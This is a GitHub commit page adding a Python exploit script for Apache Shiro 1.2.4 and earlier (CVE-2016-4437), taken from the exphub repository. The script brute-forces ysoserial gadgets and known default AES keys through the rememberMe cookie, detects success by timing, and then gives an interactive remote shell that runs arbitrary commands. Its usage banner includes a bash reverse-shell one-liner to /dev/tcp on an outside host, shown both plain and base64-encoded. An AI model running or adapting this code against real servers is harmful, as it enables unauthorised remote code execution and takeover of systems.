Skip to content

Commit c038c91

Browse files
authored
Shiro <= 1.2.4 RCE Script (CVE-2016-4437)
1 parent 6f2b8f9 commit c038c91

File tree

1 file changed

+102
-0
lines changed

1 file changed

+102
-0
lines changed

shiro/shiro-1.2.4_rce.py

+102
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,102 @@
1+
#!/usr/bin/env python3
2+
# -*- coding: utf-8 -*-
3+
# author: zhzyker
4+
# from: https://github.com/zhzyker/exphub
5+
import os
6+
import sys
7+
import re
8+
import base64
9+
import uuid
10+
import subprocess
11+
import requests
12+
from Crypto.Cipher import AES
13+
14+
if len(sys.argv)!=2:
15+
print('+-------------------------------------------------------------------------------------------------------+')
16+
print('+ DES: By zhzyker as https://github.com/zhzyker/exphub +')
17+
print('+ Vuln Name: CVE-2016-4437 | Shiro 550 | Shiro 1.2.4 +')
18+
print('+ +')
19+
print('+ Nc shell need encode command: http://www.jackson-t.ca/runtime-exec-payloads.html +')
20+
print('+ Original: bash -i >&/dev/tcp/1.1.1.1/233 0>&1 +')
21+
print('+ Encoding: bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEuMS4xLjEvMjMzIDA+JjE=}|{base64,-d}|{bash,-i} +')
22+
print('+-------------------------------------------------------------------------------------------------------+')
23+
print('+ USE: python3 <filename> <url> +')
24+
print('+ EXP: python3 shiro-1.2.4_rce.py http://1.1.1.1:8080 +')
25+
print('+ VER: Apahce Shiro <= 1.2.4 +')
26+
print('+-------------------------------------------------------------------------------------------------------+')
27+
sys.exit()
28+
url = sys.argv[1]
29+
cmd_sleep = 'sleep-5'
30+
ysoserial = 'ysoserial-sleep.jar'
31+
gadget_list = ["CommonsBeanutils1","CommonsCollections1","CommonsCollections2","CommonsCollections3","CommonsCollections4","CommonsCollections5","CommonsCollections6","CommonsCollections7","Spring1","Spring2","Jdk7u21","JRMPClient","ROME","Clojure"]
32+
#key_list = ["kPH+bIxk5D2deZiIxcaaaA==", "2AvVhdsgUs0FSA3SDFAdag==", "3AvVhmFLUs0KTA3Kprsdag==", "4AvVhmFLUs0KTA3Kprsdag==", "5aaC5qKm5oqA5pyvAAAAAA==", "6ZmI6I2j5Y+R5aSn5ZOlAA==", "bWljcm9zAAAAAAAAAAAAAA==", "wGiHplamyXlVB11UXWol8g==", "Z3VucwAAAAAAAAAAAAAAAA==", "MTIzNDU2Nzg5MGFiY2RlZg==", "U3ByaW5nQmxhZGUAAAAAAA==", "5AvVhmFLUs0KTA3Kprsdag==", "fCq+/xW488hMTCD+cmJ3aQ==", "1QWLxg+NYmxraMoxAXu/Iw==", "ZUdsaGJuSmxibVI2ZHc9PQ==", "L7RioUULEFhRyxM7a2R/Yg==", "r0e3c16IdVkouZgk1TKVMg==", "bWluZS1hc3NldC1rZXk6QQ==", "a2VlcE9uR29pbmdBbmRGaQ==", "WcfHGU25gNnTxTlmJMeSpw==", "ZAvph3dsQs0FSL3SDFAdag==", "tiVV6g3uZBGfgshesAQbjA==", "cmVtZW1iZXJNZQAAAAAAAA==", "ZnJlc2h6Y24xMjM0NTY3OA==", "RVZBTk5JR0hUTFlfV0FPVQ==", "WkhBTkdYSUFPSEVJX0NBVA=="]
33+
#key_list = ["kPH+bIxk5D2deZiIxcaaaA==", "2AvVhdsgUs0FSA3SDFAdag==", "3AvVhmFLUs0KTA3Kprsdag==", "4AvVhmFLUs0KTA3Kprsdag==", "5aaC5qKm5oqA5pyvAAAAAA==", "6ZmI6I2j5Y+R5aSn5ZOlAA==", "bWljcm9zAAAAAAAAAAAAAA==", "wGiHplamyXlVB11UXWol8g==", "Z3VucwAAAAAAAAAAAAAAAA=="]
34+
key_list = ["kPH+bIxk5D2deZiIxcaaaA==", "2AvVhdsgUs0FSA3SDFAdag==", "3AvVhmFLUs0KTA3Kprsdag=="]
35+
header = {
36+
'User-agent' : 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36'
37+
}
38+
39+
40+
print ("[*] Testing gadget")
41+
for gadget in gadget_list:
42+
43+
for key in key_list:
44+
popen = subprocess.Popen(['java', '-jar', ysoserial, gadget, cmd_sleep], stdout=subprocess.PIPE)
45+
BS = AES.block_size
46+
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
47+
mode = AES.MODE_CBC
48+
iv = uuid.uuid4().bytes
49+
encryptor = AES.new(base64.b64decode(key), mode, iv)
50+
file_body = pad(popen.stdout.read())
51+
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
52+
payload = base64_ciphertext.decode()
53+
try:
54+
r = requests.get(url, headers=header, cookies={'rememberMe': payload}, timeout=10)
55+
time = r.elapsed.seconds
56+
except:
57+
print ("[-] Target Content Failed")
58+
sys.exit()
59+
if time >= 5:
60+
key_succes = key
61+
gadget_succes = gadget
62+
print ("[+] Find gadget: " + gadget_succes)
63+
if gadget_succes != gadget:
64+
print ("[*] Check gadget: " + gadget)
65+
print ("[+] Find Key: " + key_succes)
66+
67+
68+
def exploit(url, cmd, key_succes, gadget_succes):
69+
base64_cmd = base64.b64encode(str.encode(cmd))
70+
cmd64 = base64_cmd.decode('ascii')
71+
command = "bash -c {echo," + cmd64 + "}|{base64,-d}|{bash,-i}"
72+
print ("[+] Base64 Command: " + command)
73+
74+
popen = subprocess.Popen(['java', '-jar', ysoserial, gadget_succes, command], stdout=subprocess.PIPE)
75+
BS = AES.block_size
76+
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
77+
mode = AES.MODE_CBC
78+
iv = uuid.uuid4().bytes
79+
encryptor = AES.new(base64.b64decode(key_succes), mode, iv)
80+
file_body = pad(popen.stdout.read())
81+
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
82+
payload = base64_ciphertext.decode()
83+
try:
84+
r = requests.get(url, headers=header, cookies={'rememberMe': payload}, timeout=10)
85+
if r.status_code == 200:
86+
print ("[+] Command Send Succes, Please Check (No Echo)")
87+
else:
88+
print ("[-] Command Send Failed, Please Check (No Echo)")
89+
except:
90+
print ("[-] Command Send Failed, Please Check (No Echo)")
91+
92+
93+
if key_succes:
94+
while 1:
95+
cmd = input("Shell >>> ")
96+
if cmd == "exit" : exit(0)
97+
exploit(url, cmd, key_succes, gadget_succes)
98+
else:
99+
print ("[-] Not Key, Not Gadget, Not vuln")
100+
sys.exit()
101+
102+

0 commit comments

Comments
 (0)